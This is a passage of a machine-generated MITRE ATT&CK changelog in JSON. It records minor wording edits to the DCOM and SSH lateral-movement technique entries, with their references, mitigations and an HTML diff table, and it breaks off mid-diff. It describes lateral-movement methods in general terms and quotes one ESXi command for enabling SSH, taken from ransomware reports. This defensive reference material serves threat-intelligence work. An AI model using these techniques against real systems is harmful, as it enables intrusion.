                            "description": "Nelson, M. (2017, November 16). Lateral Movement using Outlook's CreateObject Method and DotNetToJScript. Retrieved November 21, 2017.",
                            "url": "https://enigma0x3.net/2017/11/16/lateral-movement-using-outlooks-createobject-method-and-dotnettojscript/"
                        },
                        {
                            "source_name": "Enigma Excel DCOM Sept 2017",
                            "description": "Nelson, M. (2017, September 11). Lateral Movement using Excel.Application and DCOM. Retrieved November 21, 2017.",
                            "url": "https://enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/"
                        },
                        {
                            "source_name": "Cyberreason DCOM DDE Lateral Movement Nov 2017",
                            "description": "Tsukerman, P. (2017, November 8). Leveraging Excel DDE for lateral movement via DCOM. Retrieved November 21, 2017.",
                            "url": "https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": true,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Windows"
                    ],
                    "x_mitre_version": "1.3",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 00:15:24.009000+00:00\", \"old_value\": \"2025-10-24 17:48:53.724000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with remote machines by taking advantage of Distributed Component Object Model (DCOM). The adversary may then perform actions as the logged-on user.\\n\\nThe Windows Component Object Model (COM) is a component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces. Through COM, a client object can call methods of server objects, which are typically Dynamic Link Libraries (DLL) or executables (EXE). Distributed COM (DCOM) is transparent middleware that extends the functionality of COM beyond a local computer using remote procedure call (RPC) technology.(Citation: Fireeye Hunting COM June 2019)(Citation: Microsoft COM)\\n\\nPermissions to interact with local and remote server COM objects are specified by access control lists (ACL) in the Registry.(Citation: Microsoft Process Wide Com Keys) By default, only Administrators may remotely activate and launch COM objects through DCOM.(Citation: Microsoft COM ACL)\\n\\nThrough DCOM, adversaries operating in the context of an appropriately privileged user can remotely obtain arbitrary and even direct shellcode execution through Office applications(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) as well as other Windows objects that contain insecure methods.(Citation: Enigma MMC20 COM Jan 2017)(Citation: Enigma DCOM Lateral Movement Jan 2017) DCOM can also execute macros in existing documents(Citation: Enigma Excel DCOM Sept 2017) and may also invoke [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1559/002) (DDE) execution directly through a COM created instance of a Microsoft Office application(Citation: Cyberreason DCOM DDE Lateral Movement Nov 2017), bypassing the need for a malicious document. DCOM can be used as a method of remotely interacting with [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047).(Citation: MSDN WMI)\", \"old_value\": \"Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with remote machines by taking advantage of Distributed Component Object Model (DCOM). The adversary may then perform actions as the logged-on user.\\n\\nThe Windows Component Object Model (COM) is a component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces. Through COM, a client object can call methods of server objects, which are typically Dynamic Link Libraries (DLL) or executables (EXE). Distributed COM (DCOM) is transparent middleware that extends the functionality of COM beyond a local computer using remote procedure call (RPC) technology.(Citation: Fireeye Hunting COM June 2019)(Citation: Microsoft COM)\\n\\nPermissions to interact with local and remote server COM objects are specified by access control lists (ACL) in the Registry.(Citation: Microsoft Process Wide Com Keys) By default, only Administrators may remotely activate and launch COM objects through DCOM.(Citation: Microsoft COM ACL)\\n\\nThrough DCOM, adversaries operating in the context of an appropriately privileged user can remotely obtain arbitrary and even direct shellcode execution through Office applications(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) as well as other Windows objects that contain insecure methods.(Citation: Enigma MMC20 COM Jan 2017)(Citation: Enigma DCOM Lateral Movement Jan 2017) DCOM can also execute macros in existing documents(Citation: Enigma Excel DCOM Sept 2017) and may also invoke [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1559/002) (DDE) execution directly through a COM created instance of a Microsoft Office application(Citation: Cyberreason DCOM DDE Lateral Movement Nov 2017), bypassing the need for a malicious document. DCOM can be used as a method of remotely interacting with [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047). (Citation: MSDN WMI)\", \"diff\": \"--- \\n+++ \\n@@ -4,4 +4,4 @@\\n \\n Permissions to interact with local and remote server COM objects are specified by access control lists (ACL) in the Registry.(Citation: Microsoft Process Wide Com Keys) By default, only Administrators may remotely activate and launch COM objects through DCOM.(Citation: Microsoft COM ACL)\\n \\n-Through DCOM, adversaries operating in the context of an appropriately privileged user can remotely obtain arbitrary and even direct shellcode execution through Office applications(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) as well as other Windows objects that contain insecure methods.(Citation: Enigma MMC20 COM Jan 2017)(Citation: Enigma DCOM Lateral Movement Jan 2017) DCOM can also execute macros in existing documents(Citation: Enigma Excel DCOM Sept 2017) and may also invoke [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1559/002) (DDE) execution directly through a COM created instance of a Microsoft Office application(Citation: Cyberreason DCOM DDE Lateral Movement Nov 2017), bypassing the need for a malicious document. DCOM can be used as a method of remotely interacting with [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047). (Citation: MSDN WMI)\\n+Through DCOM, adversaries operating in the context of an appropriately privileged user can remotely obtain arbitrary and even direct shellcode execution through Office applications(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) as well as other Windows objects that contain insecure methods.(Citation: Enigma MMC20 COM Jan 2017)(Citation: Enigma DCOM Lateral Movement Jan 2017) DCOM can also execute macros in existing documents(Citation: Enigma Excel DCOM Sept 2017) and may also invoke [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1559/002) (DDE) execution directly through a COM created instance of a Microsoft Office application(Citation: Cyberreason DCOM DDE Lateral Movement Nov 2017), bypassing the need for a malicious document. DCOM can be used as a method of remotely interacting with [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047).(Citation: MSDN WMI)\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}}}",
                    "previous_version": "1.3",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to124__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to124__0\"><a href=\"#difflib_chg_to124__top\">t</a></td><td class=\"diff_header\" id=\"from124_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;use&nbsp;[Valid&nbsp;Accounts](https://attack.mitre.or</td><td class=\"diff_next\"><a href=\"#difflib_chg_to124__top\">t</a></td><td class=\"diff_header\" id=\"to124_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;use&nbsp;[Valid&nbsp;Accounts](https://attack.mitre.or</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">g/techniques/T1078)&nbsp;to&nbsp;interact&nbsp;with&nbsp;remote&nbsp;machines&nbsp;by&nbsp;taki</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">g/techniques/T1078)&nbsp;to&nbsp;interact&nbsp;with&nbsp;remote&nbsp;machines&nbsp;by&nbsp;taki</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ng&nbsp;advantage&nbsp;of&nbsp;Distributed&nbsp;Component&nbsp;Object&nbsp;Model&nbsp;(DCOM).&nbsp;T</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ng&nbsp;advantage&nbsp;of&nbsp;Distributed&nbsp;Component&nbsp;Object&nbsp;Model&nbsp;(DCOM).&nbsp;T</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">he&nbsp;adversary&nbsp;may&nbsp;then&nbsp;perform&nbsp;actions&nbsp;as&nbsp;the&nbsp;logged-on&nbsp;user.</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">he&nbsp;adversary&nbsp;may&nbsp;then&nbsp;perform&nbsp;actions&nbsp;as&nbsp;the&nbsp;logged-on&nbsp;user.</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;&nbsp;The&nbsp;Windows&nbsp;Component&nbsp;Object&nbsp;Model&nbsp;(COM)&nbsp;is&nbsp;a&nbsp;component&nbsp;of</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;&nbsp;The&nbsp;Windows&nbsp;Component&nbsp;Object&nbsp;Model&nbsp;(COM)&nbsp;is&nbsp;a&nbsp;component&nbsp;of</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;the&nbsp;native&nbsp;Windows&nbsp;application&nbsp;programming&nbsp;interface&nbsp;(API)&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;the&nbsp;native&nbsp;Windows&nbsp;application&nbsp;programming&nbsp;interface&nbsp;(API)&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">that&nbsp;enables&nbsp;interaction&nbsp;between&nbsp;software&nbsp;objects,&nbsp;or&nbsp;execut</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">that&nbsp;enables&nbsp;interaction&nbsp;between&nbsp;software&nbsp;objects,&nbsp;or&nbsp;execut</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">able&nbsp;code&nbsp;that&nbsp;implements&nbsp;one&nbsp;or&nbsp;more&nbsp;interfaces.&nbsp;Through&nbsp;CO</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">able&nbsp;code&nbsp;that&nbsp;implements&nbsp;one&nbsp;or&nbsp;more&nbsp;interfaces.&nbsp;Through&nbsp;CO</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">M,&nbsp;a&nbsp;client&nbsp;object&nbsp;can&nbsp;call&nbsp;methods&nbsp;of&nbsp;server&nbsp;objects,&nbsp;which</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">M,&nbsp;a&nbsp;client&nbsp;object&nbsp;can&nbsp;call&nbsp;methods&nbsp;of&nbsp;server&nbsp;objects,&nbsp;which</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;are&nbsp;typically&nbsp;Dynamic&nbsp;Link&nbsp;Libraries&nbsp;(DLL)&nbsp;or&nbsp;executables&nbsp;(</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;are&nbsp;typically&nbsp;Dynamic&nbsp;Link&nbsp;Libraries&nbsp;(DLL)&nbsp;or&nbsp;executables&nbsp;(</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">EXE).&nbsp;Distributed&nbsp;COM&nbsp;(DCOM)&nbsp;is&nbsp;transparent&nbsp;middleware&nbsp;that&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">EXE).&nbsp;Distributed&nbsp;COM&nbsp;(DCOM)&nbsp;is&nbsp;transparent&nbsp;middleware&nbsp;that&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">extends&nbsp;the&nbsp;functionality&nbsp;of&nbsp;COM&nbsp;beyond&nbsp;a&nbsp;local&nbsp;computer&nbsp;usi</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">extends&nbsp;the&nbsp;functionality&nbsp;of&nbsp;COM&nbsp;beyond&nbsp;a&nbsp;local&nbsp;computer&nbsp;usi</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ng&nbsp;remote&nbsp;procedure&nbsp;call&nbsp;(RPC)&nbsp;technology.(Citation:&nbsp;Fireeye</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ng&nbsp;remote&nbsp;procedure&nbsp;call&nbsp;(RPC)&nbsp;technology.(Citation:&nbsp;Fireeye</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;Hunting&nbsp;COM&nbsp;June&nbsp;2019)(Citation:&nbsp;Microsoft&nbsp;COM)&nbsp;&nbsp;Permission</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;Hunting&nbsp;COM&nbsp;June&nbsp;2019)(Citation:&nbsp;Microsoft&nbsp;COM)&nbsp;&nbsp;Permission</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;to&nbsp;interact&nbsp;with&nbsp;local&nbsp;and&nbsp;remote&nbsp;server&nbsp;COM&nbsp;objects&nbsp;are&nbsp;s</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;to&nbsp;interact&nbsp;with&nbsp;local&nbsp;and&nbsp;remote&nbsp;server&nbsp;COM&nbsp;objects&nbsp;are&nbsp;s</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">pecified&nbsp;by&nbsp;access&nbsp;control&nbsp;lists&nbsp;(ACL)&nbsp;in&nbsp;the&nbsp;Registry.(Cita</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">pecified&nbsp;by&nbsp;access&nbsp;control&nbsp;lists&nbsp;(ACL)&nbsp;in&nbsp;the&nbsp;Registry.(Cita</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tion:&nbsp;Microsoft&nbsp;Process&nbsp;Wide&nbsp;Com&nbsp;Keys)&nbsp;By&nbsp;default,&nbsp;only&nbsp;Admi</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tion:&nbsp;Microsoft&nbsp;Process&nbsp;Wide&nbsp;Com&nbsp;Keys)&nbsp;By&nbsp;default,&nbsp;only&nbsp;Admi</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nistrators&nbsp;may&nbsp;remotely&nbsp;activate&nbsp;and&nbsp;launch&nbsp;COM&nbsp;objects&nbsp;thro</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nistrators&nbsp;may&nbsp;remotely&nbsp;activate&nbsp;and&nbsp;launch&nbsp;COM&nbsp;objects&nbsp;thro</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ugh&nbsp;DCOM.(Citation:&nbsp;Microsoft&nbsp;COM&nbsp;ACL)&nbsp;&nbsp;Through&nbsp;DCOM,&nbsp;advers</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ugh&nbsp;DCOM.(Citation:&nbsp;Microsoft&nbsp;COM&nbsp;ACL)&nbsp;&nbsp;Through&nbsp;DCOM,&nbsp;advers</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">aries&nbsp;operating&nbsp;in&nbsp;the&nbsp;context&nbsp;of&nbsp;an&nbsp;appropriately&nbsp;privilege</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">aries&nbsp;operating&nbsp;in&nbsp;the&nbsp;context&nbsp;of&nbsp;an&nbsp;appropriately&nbsp;privilege</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">d&nbsp;user&nbsp;can&nbsp;remotely&nbsp;obtain&nbsp;arbitrary&nbsp;and&nbsp;even&nbsp;direct&nbsp;shellco</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">d&nbsp;user&nbsp;can&nbsp;remotely&nbsp;obtain&nbsp;arbitrary&nbsp;and&nbsp;even&nbsp;direct&nbsp;shellco</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">de&nbsp;execution&nbsp;through&nbsp;Office&nbsp;applications(Citation:&nbsp;Enigma&nbsp;Ou</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">de&nbsp;execution&nbsp;through&nbsp;Office&nbsp;applications(Citation:&nbsp;Enigma&nbsp;Ou</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tlook&nbsp;DCOM&nbsp;Lateral&nbsp;Movement&nbsp;Nov&nbsp;2017)&nbsp;as&nbsp;well&nbsp;as&nbsp;other&nbsp;Windo</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tlook&nbsp;DCOM&nbsp;Lateral&nbsp;Movement&nbsp;Nov&nbsp;2017)&nbsp;as&nbsp;well&nbsp;as&nbsp;other&nbsp;Windo</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ws&nbsp;objects&nbsp;that&nbsp;contain&nbsp;insecure&nbsp;methods.(Citation:&nbsp;Enigma&nbsp;M</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ws&nbsp;objects&nbsp;that&nbsp;contain&nbsp;insecure&nbsp;methods.(Citation:&nbsp;Enigma&nbsp;M</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">MC20&nbsp;COM&nbsp;Jan&nbsp;2017)(Citation:&nbsp;Enigma&nbsp;DCOM&nbsp;Lateral&nbsp;Movement&nbsp;Ja</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">MC20&nbsp;COM&nbsp;Jan&nbsp;2017)(Citation:&nbsp;Enigma&nbsp;DCOM&nbsp;Lateral&nbsp;Movement&nbsp;Ja</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n&nbsp;2017)&nbsp;DCOM&nbsp;can&nbsp;also&nbsp;execute&nbsp;macros&nbsp;in&nbsp;existing&nbsp;documents(C</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n&nbsp;2017)&nbsp;DCOM&nbsp;can&nbsp;also&nbsp;execute&nbsp;macros&nbsp;in&nbsp;existing&nbsp;documents(C</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">itation:&nbsp;Enigma&nbsp;Excel&nbsp;DCOM&nbsp;Sept&nbsp;2017)&nbsp;and&nbsp;may&nbsp;also&nbsp;invoke&nbsp;[D</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">itation:&nbsp;Enigma&nbsp;Excel&nbsp;DCOM&nbsp;Sept&nbsp;2017)&nbsp;and&nbsp;may&nbsp;also&nbsp;invoke&nbsp;[D</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ynamic&nbsp;Data&nbsp;Exchange](https://attack.mitre.org/techniques/T1</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ynamic&nbsp;Data&nbsp;Exchange](https://attack.mitre.org/techniques/T1</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">559/002)&nbsp;(DDE)&nbsp;execution&nbsp;directly&nbsp;through&nbsp;a&nbsp;COM&nbsp;created&nbsp;inst</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">559/002)&nbsp;(DDE)&nbsp;execution&nbsp;directly&nbsp;through&nbsp;a&nbsp;COM&nbsp;created&nbsp;inst</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ance&nbsp;of&nbsp;a&nbsp;Microsoft&nbsp;Office&nbsp;application(Citation:&nbsp;Cyberreason</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ance&nbsp;of&nbsp;a&nbsp;Microsoft&nbsp;Office&nbsp;application(Citation:&nbsp;Cyberreason</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;DCOM&nbsp;DDE&nbsp;Lateral&nbsp;Movement&nbsp;Nov&nbsp;2017),&nbsp;bypassing&nbsp;the&nbsp;need&nbsp;for</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;DCOM&nbsp;DDE&nbsp;Lateral&nbsp;Movement&nbsp;Nov&nbsp;2017),&nbsp;bypassing&nbsp;the&nbsp;need&nbsp;for</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;a&nbsp;malicious&nbsp;document.&nbsp;DCOM&nbsp;can&nbsp;be&nbsp;used&nbsp;as&nbsp;a&nbsp;method&nbsp;of&nbsp;remot</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;a&nbsp;malicious&nbsp;document.&nbsp;DCOM&nbsp;can&nbsp;be&nbsp;used&nbsp;as&nbsp;a&nbsp;method&nbsp;of&nbsp;remot</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ely&nbsp;interacting&nbsp;with&nbsp;[Windows&nbsp;Management&nbsp;Instrumentation](ht</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ely&nbsp;interacting&nbsp;with&nbsp;[Windows&nbsp;Management&nbsp;Instrumentation](ht</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tps://attack.mitre.org/techniques/T1047).<span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;MSDN&nbsp;WM</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tps://attack.mitre.org/techniques/T1047).(Citation:&nbsp;MSDN&nbsp;WMI</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">I)</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">)</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1026: Privileged Account Management",
                            "M1030: Network Segmentation",
                            "M1042: Disable or Remove Feature or Program",
                            "M1048: Application Isolation and Sandboxing"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0285: Multi-Event Behavioral Detection for DCOM-Based Remote Code Execution"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--2db31dcd-54da-405d-acef-b9129b816ed6",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2020-02-11 18:27:15.774000+00:00",
                    "modified": "2026-11-03 21:45:52.425000+00:00",
                    "name": "SSH",
                    "description": "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into remote machines using Secure Shell (SSH). The adversary may then perform actions as the logged-on user.\n\nSSH is a protocol that allows authorized users to open remote shells on other computers. Many Linux and macOS versions come with SSH installed by default, although typically disabled until the user enables it. On ESXi, SSH can be enabled either directly on the host (e.g., via `vim-cmd hostsvc/enable_ssh`) or via vCenter.(Citation: Sygnia ESXi Ransomware 2025)(Citation: TrendMicro ESXI Ransomware)(Citation: Sygnia Abyss Locker 2025) Modern versions of Windows include a built-in SSH server and client.(Citation: Windows SSH) The SSH server can be configured to use standard password authentication or public-private keypairs in lieu of or in addition to a password. In this authentication scenario, the user\u2019s public key must be in a special file on the computer running the server that lists which keypairs are allowed to log in as that user (i.e., [SSH Authorized Keys](https://attack.mitre.org/techniques/T1098/004)).",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "lateral-movement"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1021/004",
                            "external_id": "T1021.004"
                        },
                        {
                            "source_name": "Sygnia Abyss Locker 2025",
                            "description": "Abigail See, Zhongyuan (Aaron) Hau, Ren Jie Yow, Yoav Mazor, Omer Kidron, and Oren Biderman. (2025, February 4). The Anatomy of Abyss Locker Ransomware Attack. Retrieved April 4, 2025.",
                            "url": "https://www.sygnia.co/blog/abyss-locker-ransomware-attack-analysis/"
                        },
                        {
                            "source_name": "TrendMicro ESXI Ransomware",
                            "description": "Junestherry Dela Cruz. (2022, January 24). Analysis and Impact of LockBit Ransomware\u2019s First Linux and VMware ESXi Variant. Retrieved March 26, 2025.",
                            "url": "https://www.trendmicro.com/en_us/research/22/a/analysis-and-Impact-of-lockbit-ransomwares-first-linux-and-vmware-esxi-variant.html"
                        },
                        {
                            "source_name": "Windows SSH",
                            "description": "Windows. (2024, May 29). Tutorial: SSH in Windows Terminal. Retrieved September 17, 2026.",
                            "url": "https://learn.microsoft.com/en-us/windows/terminal/tutorials/ssh"
                        },
                        {
                            "source_name": "Sygnia ESXi Ransomware 2025",
                            "description": "Zhongyuan Hau (Aaron), Ren Jie Yow, and Yoav Mazor. (2025, January 21). ESXi Ransomware Attacks: Stealthy Persistence through. Retrieved March 27, 2025.",
                            "url": "https://www.sygnia.co/blog/esxi-ransomware-ssh-tunneling-defense-strategies/"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_contributors": [
                        "Janantha Marasinghe",
                        "Liran Ravich, Cribl"
                    ],
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": true,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "ESXi",
                        "Linux",
                        "macOS",
                        "Windows"
                    ],
                    "x_mitre_version": "1.4",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-03 21:45:52.425000+00:00\", \"old_value\": \"2026-09-18 02:23:13.647000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into remote machines using Secure Shell (SSH). The adversary may then perform actions as the logged-on user.\\n\\nSSH is a protocol that allows authorized users to open remote shells on other computers. Many Linux and macOS versions come with SSH installed by default, although typically disabled until the user enables it. On ESXi, SSH can be enabled either directly on the host (e.g., via `vim-cmd hostsvc/enable_ssh`) or via vCenter.(Citation: Sygnia ESXi Ransomware 2025)(Citation: TrendMicro ESXI Ransomware)(Citation: Sygnia Abyss Locker 2025) Modern versions of Windows include a built-in SSH server and client.(Citation: Windows SSH) The SSH server can be configured to use standard password authentication or public-private keypairs in lieu of or in addition to a password. In this authentication scenario, the user\\u2019s public key must be in a special file on the computer running the server that lists which keypairs are allowed to log in as that user (i.e., [SSH Authorized Keys](https://attack.mitre.org/techniques/T1098/004)).\", \"old_value\": \"Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into remote machines using Secure Shell (SSH). The adversary may then perform actions as the logged-on user.\\n\\nSSH is a protocol that allows authorized users to open remote shells on other computers. Many Linux and macOS versions come with SSH installed by default, although typically disabled until the user enables it. On ESXi, SSH can be enabled either directly on the host (e.g., via `vim-cmd hostsvc/enable_ssh`) or via vCenter.(Citation: Sygnia ESXi Ransomware 2025)(Citation: TrendMicro ESXI Ransomware)(Citation: Sygnia Abyss Locker 2025) Modern versions of Windows include a built-in SSH server and client.(Citation: Windows SSH) The SSH server can be configured to use standard password authentication or public-private keypairs in lieu of or in addition to a password. In this authentication scenario, the user\\u2019s public key must be in a special file on the computer running the server that lists which keypairs are allowed to login as that user (i.e., [SSH Authorized Keys](https://attack.mitre.org/techniques/T1098/004)).\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,3 @@\\n Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into remote machines using Secure Shell (SSH). The adversary may then perform actions as the logged-on user.\\n \\n-SSH is a protocol that allows authorized users to open remote shells on other computers. Many Linux and macOS versions come with SSH installed by default, although typically 